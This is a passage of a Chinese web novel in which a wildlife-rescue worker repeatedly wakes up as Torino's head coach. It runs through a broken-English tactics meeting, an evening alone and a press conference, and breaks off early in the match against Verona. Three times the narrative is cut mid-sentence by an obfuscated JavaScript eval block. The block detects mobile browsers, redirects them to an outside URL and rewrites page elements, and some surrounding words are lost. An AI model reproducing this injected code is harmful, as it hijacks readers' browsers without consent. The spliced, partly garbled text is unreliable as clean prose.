【第63分钟,角球开出,前点中卫高高跃起,头球攻门。球击中横梁下沿弹入球门。都灵1:0维罗纳。】 好耶!!! 林奇挥拳,这就是玩游戏的好处了:你可以庆祝进球而不必担心物理伤害。 进球的是他赛季前从自由市场免签的一个三十二岁老中卫,头球15,勇敢17。 不要转会费,工资也不高,当时签他的时候林奇想的是“多个替补多个选择”。 现在他用一个角球头球,为都灵拿下了三分。 已经值了,嗯。 【第71分钟,维罗纳大举压上,边翼卫传中,高中锋头球摆渡,速度型前锋凌空抽射被都灵门将神勇扑出。】 【第84分钟,维罗纳连续获得角球机会,都灵禁区内一片混战,球在门线前被后卫解围。】 【第89分钟,第四官员举牌,伤停补时4分钟。】 【第90+2分钟,维罗纳最后的长传球吊入禁区,都灵老门将出击,双拳将球击出。】 【第90+4分钟,裁判吹响终场哨。都灵1:0维罗纳。】 林奇长长地呼出一口气,看着屏幕上弹出的新闻标题:《都灵主场小胜维罗纳,老中卫头球建功》。 保存,覆盖存档,退出游戏,关机。 吃饭工作去。 林奇顺便拿了条肉,昨天在山上他们几个人救了一只被网了的鸮,今天就要送到救助站了,毛不算蓬,但是好摸。 结果出去的时候看着俩同事已经拿了一碗肉去喂。 好吧,林奇想,喂猫头鹰这件新奇的事总是会有人抢着去做的。 “奇子,你留站里吧,我看你脸色不好。” 老张看见他摆了摆手,“我和小薛去就行,顺便采购点东西,你有什么要带的吗?” 林奇点头,掏出纸笔给老张列了条单子递过去。 “我正好休息会,昨天晚上没睡好,德福还那个点闹……有事打电话。” 老张点点头和小薛离开,林奇打了个呵欠回房间闭上眼。 沉沉睡去,睡去…… 林奇看见了安东尼奥尼的秃头。 “教练,”秃头助教说,“你醒了。” 林奇茫然地看着四周像是办公室的地方。 “啊?” 11. 美人鱼 林奇并不需要花很多时间确认自己在哪儿,毕竟安东尼奥尼的秃头在日光灯下反射着一种近乎圣洁的光芒。 天啊,不要再说秃头了,林奇痛苦地闭上了眼,好像这样就可以重回睡眠,可是鼻子传来的阵痛和面前具有独特标识的意大利人都在告诉林奇:嘿嘿,还想休息? 噩耗,这才是真的噩耗。 他睁开眼,低头看桌子,最上面那张印着维罗纳上一场比赛的首发阵容,看来教练先生在醒之前也在研究阵容,就是研究着研究着就晕了。 这很合理,或许是阿尔贝发现工作的时候闭上眼睛很舒服? 办公室的门没关严,走廊里传来鞋踩在地面上的声音,由远及近,又由近及远;有人在用意大利语喊一个他听不清的名字;远处——应该是训练场的方向——传来足球被踢中时的闷响,和一声拖长了的“啊——”,大概是某个人踢飞了球。 都灵,他在都灵。他又回来了。 难道他要说一句“i`llback”吗?可是自己back(回来)应该是过去式吧? 林奇又看了看自己身上的衣服,深蓝色的运动外套,左胸口绣着一个暗红色的公牛标志,哦,倒是能够看出来这是都灵队的衣服,这让他又开始畅想什么时候都灵队能够获得像是ac米兰或者尤文那样多的赞助。 算了没有冠军啊……这话真是难受。 而林奇对这件外套不太熟悉,毕竟游戏里没有主教练着装这个选项,他当时留在阿尔贝公寓里的时候也没有打开教练的衣柜去翻找,但是从这件外套就能看出来估计阿尔贝也没有很多的所谓时尚品味了。 有时尚品味的教练肯定会把西装或者风衣焊在自己身上吧?林奇这么想。 不过林奇自认为自己也无甚时尚品味,他日常是把军绿色的工装焊在身上的……看起来比运动服还要更加狼狈一点,泥点子什么的。 然后安东尼奥尼就看着面前的教练左摸摸右摸摸,摸完袖子摸领子,摸完领子摸拉链,脸上带着刚从午睡中被叫醒的茫然表情,怀疑教练刚醒又糊涂了,只能再说一遍:“教练,您不是今早上告诉我要开会吗?十分钟后对维罗纳的战术会就要开了,你不用准备一下吗?” 林奇的大脑从待机切换到了运转状态,他在游戏里花了大概四十分钟研究这支球队,然后赢了,1:0,中卫角球头球。那些分析现在还留在他脑子里,毕竟对林奇而言这也就是十分钟之前的事。 问题是他要把这份文件的内容传达给一群活人…… 他用自己真诚的双眼盯着助教,助教被他盯得浑身打哆嗦: “教练,您再等等吧,主席已经在为你找翻译了!” “butnow?(但是现在?)” 我知道未来会变好的,可是现在怎么办? ……这两个单词在某种程度上概括了他目前人生的全部处境。 安东尼奥尼:“……还是像之前那样吧,没有办法。” 于是林奇美滋滋地和助教一块儿去了会议室,会议室在走廊尽头,林奇走进去,安东尼奥尼跟在后面。房间不大,一面墙上挂着一块白板,另一面墙上贴着一张都灵队上赛季的全家福,门将站在后排最左边,巴罗尼蹲在第一排,嘴角翘着,和周围几个表情严肃的队友形成了鲜明对比。 安东尼奥尼帮他支起来黑板,然后转身去训练场地叫球员,而林奇自顾自地用粉笔画图,长方形代表球场,然后十个小圈圈代表球员,小圈圈里面还写着球员背号。 五分钟之后,球员们来了。 然后就看到了黑板上的大作——他们的目光从一个圆圈移到另一个圆圈,从一个箭头移到另一个箭头,从一个歪歪扭扭的长方形边界移到另一个更歪歪扭扭的边界。 还好,还能看懂。 这不是维罗纳的阵型吗?532,虽然比例不太对,但是意思到了。 球员们纷纷坐下,林奇咳了两声,装作很严肃很专业的样子——只可惜严峻的表情被鼻梁上的纱布削弱了大概百分之六十的威严——指着五个圈圈: “维罗纳!” 好在维罗纳三个字是音译啊!大家勉勉强强能听明白是Verona啊! 林奇在两个边路的位置画了两条箭头,从维罗纳的半场一直延伸到都灵的半场,“Run,Fast,Wing.” 他指了指自己的胳膊——他不知道自己想表达什么,翅膀?边路?胳膊?——然后指了指箭头。 安东尼奥尼盯着白板看了一会儿:“他们的边翼卫压得很深。” 林奇感激地点头,然后他在维罗纳五个后卫的两侧画了两个大大的叉:“Space,”他说,“SpaceHere.”他指着那两个叉。 “边翼卫身后的空当。”安东尼奥尼说。 “Yes,Yes,Bigspace.”林奇用粉笔在两个叉上用力地戳了几下,“Our……W?”林奇停下来,他只知道边锋在游戏里面的缩写是W,但是全称是什么?Winger?Wingman?他不确定。 “our……” 安东尼奥尼的眉头皱了一下,然后舒开了:“用我们的边锋打他们边翼卫的身后。” “Yes!” 好搭档,一辈子! 林奇在心里给安东尼奥尼立了一块无形的碑,碑上刻着:马尔科·安东尼奥尼,秃顶,忠臣,人类语言和人类语言之间的桥梁建造师。 这个现实向游戏难度比游戏里高得多,但成就感也高得多。 ……前提是能成功。 林奇继续画,在维罗纳中场的位置,他画了一个圈,用笔在那个圈上打了一个叉:“PressHere.”他做了一个按压的手势。“He……bad.Underpress.Badpass.” “逼抢他们的拖后后腰。他在压力下传球不好。” “Yesyesyes.”林奇发现当对方准确理解了自己的意思时,他唯一能做的就是像兴奋的鹦鹉一样重复同一个词,三个ye ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485108|201966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' s的语调各不相同,确认、感激和“请继续说下去我他x的完全同意”。 然后他指着维罗纳另一个中场:“Stick.Allgame.All.” “贴身盯防那个组织型中场,全场。” “Yes.”林奇往后退了一步,审视着自己的作品。 白板上现在有长方形,有圆圈,有叉,有数字,比之前助教的抽象画更抽象。 但意思到了。 他转过身,面对着球员们。 十多张脸,居然都在抬头看黑板!!! 林奇突然感到有些惶恐了。 不是,你们真听啊? 你们真的试图从这堆歪歪扭扭的线条和他破碎的单词里面拼出战术吗? 你们明明可以不听的! 你们本可以像任何一个正常的职业球员那样,在战术会上低头玩手指、和旁边的队友交换眼神、或者干脆放空大脑等结束的! 可是都灵的球员们没有这么做,他们在看黑板,并且等待教练说话。 而教练也在努力。 教练努力地把自己的负面的情绪压下去,通过一些小动作,他把手上的粉笔灰在裤子上擦了擦,擦了两下,没擦掉,反而在深色的裤子上留下了两道白色的痕迹。 林奇看着他们。 “youaregood.”教练说。 林奇的声音比他预想的要小,像一个在KTV里第一次拿起麦克风的人,明明会唱这首歌,但面对屏幕上的歌词时,声音还是不由自主地变小。 林奇停了一下,下一个词在他的脑子里,但他不确定自己该不该说。 但是他应该说的……他是教练,不是吗? 林奇不管那么多了。 eon!!!” 教练的声音陡然变大,就像收音机的音量旋钮被人猛地拧到了底。 然后大家都看着他,都紧绷着脸没有笑。 林奇觉得这种场面很不错,然后还要干点什么吗?不了吧,果然还是推门出去吧? 呃,就这么办。 林奇转身走出了会议室。 刚出去就听到了会议室里面爆发出了笑声,eon”被好几个人重复了,每个人说的语调都不一样,有的带着模仿的意味,有一个人的语调格外夸张,把两个音节拖得很长——“Coooooomeooooooon”——然后被自己的笑声打断了。 嘶…… 自己应该进去立下威吧?这也太过分了…… 林奇在门口鼓足了勇气,推门又进去。 结果会议室里的一切几乎瞬间完成了切换,大家严肃地看着教练,助教问他:“怎么了?” 林奇想说又不会说,只能维持着冷峻的脸,把桌子上皱巴巴的首发阵容纸拿走了,出门,关门,他们又开始笑。 什么啊!到底要干嘛!!! 林奇气冲冲地走出了笑声工厂。 他才不要再进去受辱呢!!! 12. 电视里的球星 林奇在走廊里站了一会儿,低头看着自己裤子上那两道粉笔灰印子,然后用右手拍了拍,白灰扬起来,在从窗户照进来的午后的光线里飘回裤子上。 现在有两道更大的白印子了。 他沿着走廊往回走,经过茶水间的时候,咖啡机正发出临终叹息般的排气声,蒸汽从顶端的缝隙里挤出来,经过复印机的时候,17张被遗忘的A4纸躺在出纸口,上面印着同一行字——大概是因为某个倒霉蛋点了打印17次,每次都以为没点上……经过男厕所的时候,他听见里面有人在小便的同时吹口哨。 阿尔贝·奥坦维亚尼的办公室在走廊的另一头。 林奇也不知道现实中足球教练的工作是什么,但是这并不妨碍他去办公室当一会鸵鸟,于是他又继续坐回椅子上……他开始看文件。 一个坐在办公室里不知道该干什么的人,看到桌上有一叠文件,自然而然就会开始看。 嗯,好奇乃是人类的天性。 文件倒是挺多,比如球员伤病报告、青训营的月度评估、联赛赛程表,还有一些报纸,伤病报告林奇之前在游戏里面就看到了,只不过这里要更详细一些;青训营被林奇自动划为小妖,他拎过来评估好好地看了一遍,发现这种批阅奏折样的行为还是有点不适合他。 他认为自己最适合看游戏里的数据,满值20,数值无论是多是少都显示出来,那多方便啊。 但是现实和游戏总归不一样嘛。 联赛的赛程他倒是很熟悉,第二场对维罗纳的比赛还没开踢,然后就是第三轮客场对那不勒斯,第四轮主场对帕尔马,第五轮客场对AC米兰。 前五场比赛里面每一个都不能算是弱旅,这就是意大利的比赛啊! 不容小觑!!! 以及,林奇想看又不想看的报纸。 被折成三折,压在文件堆最下面。 林奇伸出来手,把报纸翻出来,露出了痛苦面具。 果然是他接受采访时的照片,阿尔贝教练坐在桌子后面,右眼肿成一条缝,鼻梁上的纱布白得刺眼,嘴巴正在说某个单词的过程中被定格,照片旁边的配文用了一个意大利语单词——“Eroico”,英勇的。 下面还有一行小字,他读了几遍才看懂:“主教练阿尔贝在赛后发布会上用英语回答了记者提问,展现了令人敬佩的职业精神。” 好吧,记者们写的这则新闻同样显示出令人敬佩的职业精神,林奇不知道自己该感到荣幸还是该替意大利体育新闻界感到悲哀。他决定两样都来一点。 剩下的文件他看不进去了,阿尔贝的办公室有一个窗户,窗外是对面公寓楼的墙壁,墙壁上有一根排水管,排水管上停着一只鸽子。鸽子每隔几秒钟就啄一下排水管的铁皮,啄几分钟就有另一只鸽子来替代它继续啄,林奇大概看完了两只鸽子的完整轮班,天啊,下班,什么时候才能下班? 无聊的教练像是检查阿尔贝的家一样检查他的办公室,先从阿尔贝的抽屉里翻出来了几支笔,一叠便签纸,工资条,一盒回形针,一瓶已经干掉的修正液,然后从第二个抽屉里翻出来了工资条……这个他在游戏里面也是知道的。基础周薪2,500欧元,然后出场费、进球奖金、不失球奖金、签约费上个月暂且都是零,这很正常,毕竟上个月没有比赛。 这个钱可以花的吧? 2500欧合人民币多少啊,花不完吧? 林奇有点听不到外面的声音了,鸵鸟暂且把头抬起来,他觉得自己应该昂着头离开办公室,但是他还是暂时忍耐,等待吧,再等一会儿,天完全黑了就回家。 嘶,怎么回家呢? 这又是一个问题,可是林奇强迫自己先不去想那些,大不了在这里打地铺说不定就又醒了呢?自己本来就是想补觉,结果补到都灵来了——他还没骂街呢!生活如此折磨他!老天是举着四倍镜想给他来一枪吗? 来点痛快的吧……鸽子都下班了。 林奇听到外面几乎没有声音了才关灯出去,结果一出去就迷路,在楼里绕了好久才看到侧门——好消息!助教还没离开!他刚要钻进轿车里呢! 而助教先看到了教练!这避免了教练打招呼的困难! “教练!”安东尼奥尼朝他挥手,“我正想你可能还没走,办公室的灯关着,我以为你走了。” 林奇诚实地说:“ILOST.”(我丢了) 他成功组织了一个句子,成功地让助教升起了怜悯之情:“天黑了,是的,走吧,我送你。” 上了车之后林奇有点脸红,他想问助教有关于会议的事情,但是又觉得自己过于丢脸,想了半天还是没提,最后还是安东尼奥尼先说起来: “大家都觉得你今天的战术会开的不错呢。” 真假?林奇盯着光头。 “真的,”助教说,“巴罗尼说这是他来都灵以后开过的最好的战术会。” 林奇试图判断这是翻译、奉承,还是某种意大利式的反话。 如果这就是最好的战术会,那你们之前在忍受怎样的教练啊…… 林奇咳了两声:“good.” 安东尼奥尼笑着说:“明天的比赛,他们会准备好的,教练,干的不错!” 回到家之后林奇才后知后觉自己肚子里面没有本,应该在外面吃点东西再回来的,可是没有办法,就只能打开冰箱——然后冰箱开始嗡嗡地颤抖,整个冰箱外壳都跟着抖——林奇觉得这冰箱和自己的生活一样,处于一种介于运转和认命之间的状态。 冰箱里面东西其实挺多的,可是林奇对这些外国的食物有点苦手,最后拿出来了意面和金枪鱼罐头,他觉得自己只能搞好这两种食物。煮面,然后把冰的金枪鱼罐头浇上去。 林奇呕出来了。 可怜的教练把面条倒进垃圾桶,连带着那个金枪鱼罐头——这才是始作俑者。 痛苦,太痛苦了。 他不应该把冷的金枪鱼直接扣在热面上,这甚至不是一个烹饪错误,这是一个生存常识错 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485109|201966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 误。 金枪鱼罐头不应该直接从冰箱里拿出来就吃,任何从冰箱里拿出来的东西都不应该直接吃。 我难道进化成弱智了吗?林奇想:好吧,我还是饿一晚上吧,最近女士们之间好像时兴这个,减肥什么的。 他去客厅沙发上坐下打开电视,一打开就是足球节目,屏幕上是上一场的比赛集锦,不是都灵的比赛,是其他场次。 尤文图斯对布雷西亚。 镜头给了齐达内一个特写——他正在用外脚背卸下一个从空中落下来的长传球,球碰到他脚背的声音被现场收音收得很清楚,一声轻响,球落在他脚下,几乎没有任何弹跳,然后他传球了,没有看人,或者说他看了,但看的方向和传的方向完全相反。 球落在跑动中的队友脚下,像是两个人之间拉了一根看不见的线,球就是沿着那根线滑过去的。 超级无敌精准。 林奇把遥控器放在膝盖上,双手交叉在脑后。 屏幕上,齐达内又拿球了。 这一次他做了一个马赛回旋——左脚踩住球,身体转一圈,右脚把球拉走。防守他的人站在原地,重心还留在齐达内转圈之前的位置,像一个被舞伴突然撒手的舞者。 看台上爆发出欢呼声,意大利人在欣赏。 然后是集锦切换,国际米兰对莱切,罗纳尔多拿球。林奇只在游戏里见过罗纳尔多的属性页面——20的速度,19的盘带,18的射门,17的镇定。 但此刻屏幕上的罗纳尔多不是数字。 他从中圈附近拿球,第一个防守球员贴上来,他往左沉了一下肩,对方的重心跟着往左移了五厘米,他把球往右一拨,人从另一侧过去了。 第二个防守球员从侧面铲过来,他在铲球到达之前的那个瞬间用脚尖把球捅出去,自己跳起来,越过那条横在草皮上的腿,落地时身体晃了一下但球还在脚下。 第三个防守球员正面封堵,他没有减速,反而加快了频率——球在两只脚之间来回弹了三四下,快得看不清顺序——然后他消失了。从防守球员的左侧,带着球一起消失,出现在他身后,像变魔术的人从帽子里掏出兔子。 解说员的调门越来越高,看台上站起来的人越来越多,手臂举起来,围巾甩起来,嘴巴张开,声音汇成一片轰鸣。 罗纳尔多射门了,脚内侧推了一个角度,球贴着草皮滚向门将的左手边,这并不刁钻,但是门将的重心已经在他之前那串假动作里被拆得七零八落——门将的左脚往右挪了三厘米,右脚还钉在原地,身体打开的角度大了,像一个衣柜的门被拉开了半扇。 球从那半扇门的缝隙里滚进去,撞在边网上,转了几圈,停下来。 进球的动作简洁到近乎懒散,像是整个突破已经耗尽了他所有的表演欲望,最后的终结只是一句随口带过的句号。 林奇只感到了无穷的羡慕。 嗯!至少我们也有进球啊! 明天就有进球了……哪怕没有这么华丽! 13. 咖啡和面具 林奇最后看电视看着看着睡着了,这也没有办法,本来他是想要继续熬一熬的,结果听着听着广告眼皮就慢慢地合上了,根本睁不动。 什么洗脸刷牙之类的都无所谓了——反正他今天已经把晚饭吐出去了,那时候也漱口了,所以没有关系,嗯,没有什么关系…… 这也挺凄惨的,虽然林奇并不觉得。 当然,仍然出现了一个好消息。 林奇得到了一个完整的睡眠,睡到第二天天亮的时候,林奇已经很久没有这样的睡眠了,在他养了鸡之后,他基本上每天都是六点之前就起床了,而这两天更夸张——一闭眼就起床,一闭眼就到另一个地方,就要工作了…… 这话听起来才是真正的可怜啊!!! 但是他起床之后浑身酸软暂且不提,林奇坐起来之后就开始后悔,为什么不好好在床上睡呢?今天明天能不能有如此完美的睡眠还不敢保证呢! 今朝有酒今朝醉啊…… 而难得起床之后也没有需要马上去做的工作,林奇打着哈欠又进了主卧,把被子掀开躺进去,决定再睡个回笼,舒舒服服的,上班人和学生们都深知一个事情:回笼觉的十分钟起到的作用可能超过晚上睡的那六个小时,真正回笼觉睡满足了,一个上午才能有好精神。 那些没有必须起床理由的人就不要说话了。 而林奇就心满意足地睡饱醒来,醒来之后电话才响起,是阿尔贝的座机,林奇爬起来去接电话,拿起听筒。 “教练?”安东尼奥尼的声音从听筒里传出来,林奇说:“唔,morning.” 教练先生看了一眼墙上的钟表,现在的时间是八点半多一点,做完他大约八点多就睡了,这么长的睡眠简直像中彩票一样。 “教练,我等会儿过来接你,比赛今天下午三点踢,我们先去训练基地吃个午餐……你有吃早饭吗?估计没有,算了,我给你带点早饭,然后上午我们要参加采访,中午可以去训练基地吃午饭,以及开赛前会,最后去球场,你准备准备,这就是今天的事项。” 一个好的助理会给教练带来怎样的感受? 大概就是有相父的阿斗吧。 林奇有点心虚地接受着助教的好意:“okok,thankyou.” 助教果不其然早上来接林奇,这让林奇有些不好意思,以及在考虑要不要买辆车,毕竟他也不是不会开车,也不是不认路……这样一趟趟的还是太麻烦安东尼奥尼了,然后他坐上副驾,助教把纸袋给林奇拿过来,还有一杯咖啡。 林奇没喝过这玩意儿,但是他下意识把咖啡当作中药对待,这气味就不太对劲啊! 一喝。 果然是中药。 林奇苦着脸咽下去,然后开始吃吐司,吐司里面夹着滑蛋和香肠,秃头助教得意洋洋地显摆:“这是我妻子做的,咖啡是我煮的,怎么样?” 林奇默默地点头,东西还是好吃的,饮料就另说了。 他喝中药还要配蜜饯或者甜枣呢,在意大利人们就哐哐喝直接咽是吗?那很厉害了。 安东尼奥尼没有那么多规矩,于是林奇得以在车上吃完早饭(咖啡只碰了两口,第一口尝试,和最后的漱口,好歹没吐出来),在车上助教还在讨论有关于翻译的事情:“主席的意思是省省钱,专业的翻译要价还是挺高的,估计会看看都灵的留学生吧,您能接受吗?” 这有什么接受不接受的?林奇毫不犹豫地点头,留学生呀,高材生! “那就好,”助教看了看咖啡杯,“不好喝?” “唔。” 安东尼奥尼没说什么,接受不了咖啡并不是什么天大的事情,还激不起他的小鸡手,不过如果教练先生往咖啡里面加酸奶,那助教可能就会冒犯尊上拿着十字架要净化邪祟了。 训练基地如约而至,安东尼奥尼把他放下去,他则是先去停车,而林奇就在基地里乱逛了一阵,沿着训练场边上的跑道走了一段,草皮在早晨洒过水,两个工作人员正在给场边的广告牌换画布,内容他看了好一会儿后才意识到那是电信公司的标志加都灵队徽,本周主场的冠名赞助——两千年的商业已经在更衣室通道的墙上嵌着了。 当然,里面的球星他是看不懂的,金发白肤和深发棕肤挤在同一个画框里,共同点是他们都有一口好牙齿,能够反光的那种。 意大利的牙科是不是有什么特殊补贴? 然后他往里拐,想去接杯水,嘴里的苦味绕梁不绝,实在需要紧急手段,但是茶水间里还是咖啡机,和办公室那台是同款,但这一台的外壳上多了一张手写的便签,上面用意大利语写着“打奶泡之前先把喷嘴擦干净,你又不是畜生”。 嘶,这句话的适用范围远远超出了咖啡机的语境。 林奇悻悻地拿一次性纸杯打了一杯水。 出去之后正好和助教碰面,安东尼奥尼从停车地方过来的时候顺便从仓库顺了点东西,递给教练,“教练,你的队服。” 林奇接过,一件深红色的polo衫,和昨天那件运动外套是同一个系列。 “赛前发布会,俱乐部规定教练必须穿队服。” 林奇对此没什么抵触,但是他想上次自己面对记者就没穿队服呀?然后他又突然想到自己上次穿的白衬衫的惨烈模样,又看了看深红色的队服……这件衣服至少不会在流血的时候显得太吓人。 林奇就很坦然地在走廊里面换了衣服,Polo衫比他的尺码大了一号,也可能是阿尔贝本来就喜欢穿得宽松。 “怎么样?” “big.” “下一批队服下个月到,你可以换小一号,现在将就一下,发布会还有二十分钟。记者已经到了。” “howmany?(多少人)” “比上次多。” “how?(多少)” 安东尼奥尼翻开文件夹,看了一眼,合上:“这次二十六个。” 这下林奇就算不了解意甲也知道来的记者好像有些太多了,毕竟没有人会在意一支保级队在第二轮比赛之前的例行发布会。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485110|201966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>那这么多记者是来干嘛的? 林奇有了点不好的预感。 呃……林奇想,不会是自己过于自恋吧?但是难道记者是为了我来的吗? 安东尼奥尼打开文件夹,从里面抽出一张纸,递给林奇:“这是今天可能会被问到的问题,我列的,你提前看一眼。” 第一个问题是关于维罗纳的532阵型以及都灵如何应对,第二个问题是关于巴罗尼的状态是否受上一场绝平进球的影响而有所提升,第三个问题是关于他自己的鼻子。 下面还有一行安东尼奥尼手写的提示:“他们会问你鼻子,一定会问。最好提前想好一个回答,这次不要再演默剧了,摄像机会拍,这次摄像机比上次多。” 林奇把纸还给安东尼奥尼。摄像机更多了,拍照的也更多了吧。 上次的默剧照片登了报,这次如果再演一遍,大概会变成某种体育记者之间的传统——每周来看都灵主帅表演一段肢体喜剧,然后写一篇观后感。 可是自己又能说什么呢?什么也说不了啊,没这个能力啊! 大不了说sorry吧。 发布会设在一楼的一间大会议室里,和上次那个只能容纳二十人的狭长房间不同,二十六把折叠椅坐了二十六个人,甚至还有两个没有椅子的摄像师,一个会演默剧的教练真的有那么重要吗?林奇感觉不至于吧。 当然,记者不知道他在想什么,他们看起来例行公事的样子,如果忽略他们憋笑的表情的话: “巴罗尼上周绝平之后,队内对他的态度有没有变化?他的自信心是否有明显提升?以及在接下来的比赛里,你会继续让他担任首发吗?” 大家对他的态度当然好,巴罗尼的自信当然提升了,一个人在奥林匹克球场绝平拉齐奥之后,自信不提升的唯一原因是这个人没有神经系统。 至于明天首发——废话,一个刚进了两个球的前锋不首发吗? 我这个教练又不是傻子。 但是林奇脑子里面这一堆说不了,他又只能:“yes,yes,yes.” 助教熟练地开始翻译:“巴罗尼在上场比赛后展现出了极佳的精神面貌,他的自信源自于他在训练场上日复一日的努力,而绝平进球只是这种努力的自然结果。队内所有人都为他感到高兴——这不是一个人的进球,这是全队战斗精神的体现。至于接下来的比赛,教练明确表示,巴罗尼将继续首发。他是都灵进攻体系中的核心环节,教练对他的信任没有任何保留。” “关于体能方面,一周双赛对球员状态的影响你有什么预案?另外,你考虑过在教练席上戴防护面具吗?以及,中场轮换的具体计划是什么?” 这个记者多精啊,他在两个正经问题之间插入了一个不正经的问题,这种手法完全就是从审讯手册上学来的。 而另外两个问题能回答吗?根本不能回答啊! 于是…… “mask.”教练先生只回答了大家想听的东西,“Iwillwearmask.” 14. 这能叫自私吗? 新闻发布会结束之后,安东尼奥尼不知道从哪个仓库摸出来一个面具。 有病啊! 老大我是说你靠谱但是在这种情况下可以真没有啊!!! 这个真的可以没有啊!!! 这个面具覆盖上半张脸,原本的设计用途可能是防止打磨金属时碎屑飞进眼睛,或者防止园艺修剪时树枝弹回来打脸,但是现在放在林奇面前,看起来像一件还没来得及被归类到正确时代的考古文物。 “……whereyougot?”(你从哪儿搞来的?) “训练基地的器材室,上个赛季有个后卫颧骨骨折,队医订了两个,一个他用,一个备用。” 那我还真是谢谢你啊!谢谢嗷! 林奇摸过来面具,戴上去,觉得自己现在真的变身歌剧魅影了。 这到底是天才还是彻头彻尾的蠢蛋? 不要管为什么这个问句如此矛盾,林奇都想说自己的鼻子完全好了。 现在还是先干点别的吧…… 就像是助教之前说的那样,先去吃午饭,再去开战前会,然后就该比赛了。 午饭时食堂的电视机在放音乐频道,安东尼奥尼撺掇他这时候戴上面具,林奇莫名其妙:“WHY???” 有病啊?我要吃饭啊!吃饭的时候戴个啥面具?真要cos佐罗啊? 但是意大利面不错,非常标准的番茄肉酱,比金枪鱼好多了……天啊,别让我回忆起来那个恶心的味道和口感了。 在吃完饭稍微休息了一会儿之后,一点半多了,林奇也没想把这个战术会说的多仔细,是的,他可以说什么战术细节,如果他的翻译十分钟之内就能到岗,或者他的球员们能听懂他的中文——又或者是都变成了安东尼奥尼,学会了从自己三个词语中翻译出来一篇一百字小作文的程度——如果这样的话,估计他就可以真正像个教练一样开会了。 于是大家再次看到教练的时候,就是阿尔贝沉默寡言地画战术图——这次他eon都没说! 估计是上次受伤了,唉,真可怜。 ??这样的想法自然是没有的。 大家只是茫然地在五分钟内开完会,然后被驱赶到更衣室换衣服做准备,大巴车的声音,维罗纳的球员估计也到了。 而教练呢?教练这时候站在球员通道里,双手插在口袋里,他的左边是安东尼奥尼,对面站着一排穿黄色球衣的男人,维罗纳的球员。 维罗纳的主教练长得很意大利,也没有笑容的样子,此人的面部肌肉和林奇的差不多,可能已经失去了做出其他表情的能力。 维罗纳的主教练看了林奇一眼,微微点头,林奇也点了点头。 两个人都没有说话,而两个人都知道对方在过去的一周里花了多少小时研究自己的战术。 两个人都知道对方知道。 这就是足球,一场在二十二个人奔跑中同时进行的、发生在两个大脑之间的、关于信息与反信息的战争。 而这两个大脑此刻正在用一种比陌生人更冷漠的方式互相致意,因为战争还没有开始,而文明的规则要求两个即将互相投掷石矛的酋长在动手之前先交换一串贝壳项链。 当然,这种想法可能只是林奇自己的脑补。也可能维罗纳的主教练只是在想:这个戴着面具的年轻人到底会不会说意大利语?——是的,林奇真戴了,并且忽视了所有的目光。 如果真问了那林奇也只能来一句maybe,毕竟自己刚刚学会了ciao,这是一个良好的开始,说不定明天就能来上几个长难句了。 球员通道尽头,阳光正暴力地倾泻进来,林奇喜欢这种阳光,而他估计是唯一那个不太紧张的人,毕竟他也是唯一那个知道结果的人。 ok,ok,当然会有那种时候“如果并不是……”可是他还有什么办法?他又没办法在这里打开战术面板调整阵型,裁判赶紧开始吧。 两边队伍带出来,猜边,吹哨。 林奇深吸一口气,在教练席上坐下来。 比赛开始。 第1分钟的事情就是第1分钟的事情,没什么好说的。有人开球,有人传球,有人跑位,有人在看台上打了一个喷嚏,世界和平,草皮完整,角旗杆也很安全。 第2分钟,维罗纳的右边翼卫拿球推进,他的速度很快,都灵左后卫3号和他之间逐渐缩小的距离显示出来维罗纳的边翼卫的能力,边翼卫从3号的外侧过去了,然后起脚传中。 球飞向禁区。 维罗纳的高中锋跳起来,朝着都灵球门的右上角飞去,好在它高出了横梁。 这个表述在足球解说中通常意味着“差一点就进了”,也等同于“根本没进”,在积分表上没有区别。 一个人差点赶上了火车——在赶火车这件事上,差一秒和差一小时,结果是完全一样的。 林奇吐出一口气。 第8分钟,都灵的中场——8号格雷科——拿球,格雷科的视野是14,在都灵队里算是好的,这意味着当他抬头的时候,他看到的东西比别人多一些。 巴罗尼站在维罗纳三个中卫之间,身边一个人半贴着他;右边路有空间,但右前卫此刻还被钉在防守位置上没有完全跑出来。 格雷科开始犹豫…… 他传球给巴罗尼,没成功,足球磕到了草皮上一块微微翘起来的草块,弹跳了一下。这一跳改变了球的轨迹,让球从巴罗尼的左脚滚向了他的右脚,而巴罗尼当时正试图用左脚接球。他不得不做了一个尴尬的转身动作来调整——像一个在拥挤的公交车上试图让座却发现对方在下一站就要下车的乘客,动作做到一半,目的地已经消失了。 球从他脚下滚过去,被维罗纳的中卫解围了。 格雷科闭上眼,承认了错误,快速回防。 